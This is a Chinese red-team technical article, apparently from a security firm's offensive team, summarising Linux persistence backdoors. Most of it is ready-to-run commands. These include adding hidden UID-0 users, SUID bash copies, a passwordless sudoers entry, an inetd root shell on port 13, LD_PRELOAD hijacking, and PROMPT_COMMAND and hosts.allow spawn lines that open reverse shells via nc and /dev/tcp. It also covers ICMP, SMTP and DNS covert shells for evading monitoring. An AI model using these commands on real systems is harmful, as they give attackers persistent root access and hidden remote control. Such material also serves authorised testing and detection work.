红队实战攻防技术分享:Linux后门总结-系统服务利用
导读:上篇文章简单介绍了一下各类隐藏技术在HW和红队评估项目中的应用,下面给大家介绍的是有关系统服务后门的利用,以及针对用户操作一些方法,还有一些在内网中可以被用来做反弹shell 的协议,绕过一些常见的安全设备。
本篇文章是Linux后门总结文章第三篇,简单介绍了常见Linux用户后门的用法,还有根据系统自带服务利用的一个扩展。
添加root用户
有时候觉得加root用户不够隐蔽,其实可以模仿着一些公司的默认账号,比如说adm、adn之类的,在一些大型企业之中,因为项目繁多,负责的管理运维人员也有可能只是开发人员,对于系统自带的一些用户并没有完整的了解,所以就给添加用户带来了可能性。
passwd写入
perl -e 'print crypt("123456", "AA"). "
"'echo "backdoor:AASwmzPNx.3sg:0:0:me:/root:/bin/bash">>/etc/passwd
uid 0用户添加
在 Unix 体系下,UID 为 0 就是 root 权限。所以渗透的时候可以添加一个 UID 为 0 的用户作为后门。
useradd -p `openssl passwd 123456` -o -u 0 guest/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hack:123456 | /usr/sbin/chpasswd &>/dev/null
suid
suid后门
suid说明:
用户或属主对应的前三位权限的x位上如果有s就表示suid权限。当x位上没有小写x执行权限的时候,suid的权限显示的就是大S。
suid作用是让普通用户可以以root(或其他)的用户角色运行只有root(或其他)账号才能运行的程序或命令,或程序命令对应本来没有权限操作的文件等。
先查找具有suid的文件:
find / -perm 4000 -lsfind . -perm /4000find / -user root -perm -4000 -print 2>/dev/null
将具有suid的复制到指定目录,然后再给权限执行。
cp /bin/bash /.wootchmod 4755 /.woot/.woot -p
列出一些具有suid权限的文件、然后利用一些二进制文件的特性来执行额外的命令。
NmapVimfindBashMoreLessNanocp
常见的suid提权的程序。
reverse_shell
这里说的反弹shell不是上面开头那里说的利用内部软件进行反弹,而是利用一些非常规协议来绕过一些安全设备的流量监测功能。
tcp/udp shell
tcp/udp的shell可以使用msf生成的tcp马、流量混淆推荐rc4和https偏执模式,也能够绕过一些防火墙。
icmp shell
使用ICMP来作为隐蔽通道的原理是:有一个服务端和一个客户端,当它们通信时会用到 ICMPECHO 和 ICMPECHOREPLY的数据部分。这就意味着通过ICMP包的数据部分可以发送和接收数据。
这里用python写了一个嗅探功能的小脚本 因为icmp是没有端口概念的,也就无法直接建立两台主机上ICMP应用程序的通信。所以程序需要从嗅探到的icmp包中再传给应用层,然后再执行其他的。
这里使用ish演示
wget http://prdownloads.sourceforge.net/icmpshell/ish-v0.2.tar.gz
被控端
https://yun.longsunhd.com/ishd -i 6666 -t 0 -p 1024 -d
控制端
https://yun.longsunhd.com/ish -i 6666 -t 0 -p 1024 127.0.0.1
这样利用icmp传输可以绕过大部分的设备。
DNS/smtp shell
这里提一下DNS和smtp服务。之前做的分享中有关于SMTP协议传输shell的思路,其实是利用smtp协议可以出网的思路,写一个smtp的客户端和服务端对应发送和接受执行内容,传输为了方便演示使用的是明文,为了增加迷惑性,添加删除邮件功能,需要提高的就是可以对传输的文本内容进行混淆加密之类的,防止安全邮件网关根据关键字拦截邮件。DNS这个的话就是通过解析记录的内容来进行命令的执行,还可以配合dnslog来使用。
演示GIF地址:https://myblogimages.oss-cn-beijing.aliyuncs.com/img/smtp_cmdshell_win.gif
sudoers利用
sudo命令可以使用户临时获得管理员权限执行命令,sudo的控制都是基于sudoers文件来控制的,里面限制了用户名,用户组,执行什么等。/etc/sudoers的通用格式为:user host runas command user:一位或几位用户,在/etc/group中可以用一个%代替它,组对象的名称一定要用百分号%开头。host:一个或几个主机名;runas:作为哪个用户运行,常见选项是root和ALL command:想让用户或组运行的一个或几个根级别命令。例如:hans ALL=(root) useradd,userdel 授权hans用户在所有计算机上以root身份运行useradd,userdel命令。这样我们用一句话将内置/或者我们自己添加的普通权限用户添加到sudoer列表中,这样就可以偷着执行管理员权限的命令了。将原本低权限用户当做后门使用。
sudo su -c "echo 'hack ALL = NOPASSWD: ALL'> /etc/sudoers.d/README"
可以看到我们不需要密码就可以直接提到root。
inetd远程后门
inetd,也叫作“超级服务器”,就是监视一些网络请求的守护进程,其根据网络请求来调用相应的服务进程来处理连接请求。inetd.conf则是inetd的配置文件。inetd.conf文件告诉inetd监听哪些网络端口,为每个端口启动哪个服务。位置是/etc/inetd.conf 配置格式:[servicename]
[socktype]
[proto]
[flags]
[user]
[server_path]
[args]
在配置文件下写入以下内容。daytime stream tcp nowait root /bin/bash bash -i
daytime服务(13端口) 套接字类型 协议类型 不等待 用户组 提供服务的程序 daytime stream tcp nowait root /bin/bash bash -i
这样配置好了以后利用nc attip 13
动态链接库后门
linux操作系统的动态链接库在加载过程中,动态链接器会先读取LDPRELOAD环境变量和默认配置文件/etc/ld.so.preload,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LDPRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,这样就导致了动态链接库文件可以被当做后门使用。
LD_PRELOAD
这里创建了一个test.c文件,其中调用time方法、然后创建了一个testlib.c、其中生成了一个time方法供test调用 编译后用LD_PRELOAD=$PWD/testlib.so https://yun.longsunhd.com/test劫持了time。
//test.c#include #include #include int main(){ srand(time(NULL)); return 0;}//编译:gcc -o test test.c
//testlib.c#include int time(){ printf("hello hacker"); return 0; //the most random number in the universe}//编译:gcc -shared -fPIC testlib.c -o test.so
ld.so.preload
同理,修改/etc/ld.so.conf.d/下的conf文件也可以达到劫持的目的。
PROMPT_COMMAND
bash提供了一个环境变量PROMPT_COMMAND,这个变量会在你执行命令前执行一遍。这样就可以利用他执行的命令来留后门。
后门
export PROMPT_COMMAND="nc -e /bin/bash 127.0.0.1 6666 &"
提权
如果当前用户是低权账号,管理员又经常使用su等、但是自己不知道密码。就可以来使用这种方法。利用sudo的权限提升来新建一个uid为0的用户
export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 test2 &>/dev/null && echo test2:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"
TCP Wrappers
TCPWrappers是一个工作在第四层(传输层)的的安全工具,对有状态连接的特定服务进行安全检测并实现访问控制,凡是包含libwrap.so库文件的的程序就可以受TCPWrappers的安全控制。它的主要功能就是控制谁可以访问,常见的程序有rpcbind、vsftpd、sshd,telnet。
工作原理
TCP_Wrappers有一个TCP的守护进程叫做tcpd。以ssh为例,每当有ssh的连接请求时,tcpd即会截获请求,先读取系统管理员所设置的访问控制文件,符合要求,则会把这次连接原封不动的转给真正的ssh进程,由ssh完成后续工作;如果这次连接发起的ip不符合访问控制文件中的设置,则会中断连接请求,拒绝提供ssh服务。
利用
TCP_Wrappers的使用主要是依靠两个配置文件/etc/hosts.allow, /etc/hosts.deny,用于拒绝和接受。这里演示使用的是接受配置信息。之所以能够被用作后门是因为他存在一个参数是spawn (spawn启动一个外部程序完成执行的操作) 修改/etc/hosts.allow文件:
ALL: ALL: spawn (bash -c "/bin/bash -i& /dev/tcp/127.0.0.1/6666 0>&1") & :allow
当使用ssh连接的时候,它开始匹配规则,然后利用spawn执行的nc反弹了一个shell。
Info:
https://kevien.github.io/2019/02/16/linux常见backdoor及排查技术/
该文章完成并在内部分享时间为:2019年12月18日,作为一篇技术整理不可避免的会和网上有些文章相同。
本文作者:奇安信高级攻防部 @孙韬作品。目前奇安信安服红队发出江湖召集令,凡是具备实战渗透经验、红队经验、APT实战能力的大侠,均可前来一试,全国招募!联系邮箱:a-hr@qianxin.com
让网络更安全
让世界更美好
长按识别二维码关注我们
评论